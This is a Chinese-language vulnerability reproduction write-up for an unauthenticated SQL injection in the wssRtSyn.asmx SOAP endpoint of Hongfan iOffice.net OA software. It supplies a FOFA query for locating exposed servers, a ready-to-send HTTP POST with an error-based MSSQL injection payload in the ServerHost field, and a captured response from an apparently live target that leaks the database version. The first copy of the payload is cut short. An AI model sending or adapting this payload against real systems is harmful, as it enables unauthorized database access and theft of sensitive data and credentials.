H3-2红帆-OA-SQL

漏洞描述：

红帆iOffice.net, wssRtSyn.asmx 接口处存在SQL注入漏洞，未经身份认证的攻击者可通过该漏洞获取数据库敏感信息及凭证，最终可能导致服务器失陷。

网站图片：

网络测绘：

fofa语法：

FOFA：app="红帆-ioffice"

漏洞复现：

payload：

```
POST /iOffice/prg/set/wss/wssRtSyn.asmx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Connection: Keep-alive

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://iOffice.net/iOffice/ioRtSyn">
<soap:Header />
<soap:Body>
<tns:SubmitLogInfo>
<tns:data>qwe</tns:data>
<tns:ServerHost>1'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT @@version
</tns:SubmitLogInfo>
</soap:Body>
</soap:Envelope>
```

效果图:
查询数据库版本

Request

数据包扫描 热加载 构造请求

```
POST /iOffice/prg/set/wss/wssRtSyn.asmx HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36
Content-Type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate
Connection: Keep-alive

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://iOffice.net/iOffice/ioRtSyn">
<soap:Header />
<soap:Body>
<tns:SubmitLogInfo>
<tns:data>qwe</tns:data>
<tns:ServerHost>1'+(SELECT CHAR(103)+CHAR(105)+CHAR(75)+CHAR(83) WHERE 6621=6621 AND 7795 IN (SELECT (CHAR(113)+CHAR(118)+CHAR(106)+CHAR(122)+CHAR(113)+(SELECT @@version)+CHAR(113)+CHAR(118)+CHAR(113)+CHAR(120)+CHAR(113))))+'</tns:ServerHost>
</tns:SubmitLogInfo>
</soap:Body>
</soap:Envelope>
```

Responses 2074bytes / 189ms

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Server: Microsoft-IIS/7.5
X-Compressed-By: HttpCompress
X-Content-Type-Options: nosniff
X-XSS-Protection: 1
Content-Security-Policy: default-src 'sel
Date: Mon, 04 Mar 2024 14:15:57 GMT
Content-Length: 2074

<?xml version="1.0" encoding="utf-8"?><soa
org/soap/envelope/" xmlns:xsi="http://www.
xmlns:xsd="http://www.w3.org/2001/
XMLSchema"><soap:Body><soap:Fault><faultco
Web.Services.Protocols.SoapException: 服务
SqlClient.SqlException: 在将 nvarchar 值 '
50.1600.1 (X64)
    Apr  2 2010 15:48:46
    Copyright (c) Microsoft Corporation
    Enterprise Edition (64-bit) on Windows
    1)
qvqxq' 转换成数据类型 int 时失败。
   在 System.Data.SqlClient.SqlConnection.
   breakConnection)
   在 System.Data.SqlClient.TdsParser.Thro
   stateObj)
   在 System.Data.SqlClient.TdsParser.Run(
   cmdHandler, SqlDataReader dataStream, B
   TdsParserStateObject stateObj)
   在 System.Data.SqlClient.SqlDataReader.
   在 System.Data.SqlClient.SqlDataReader.
```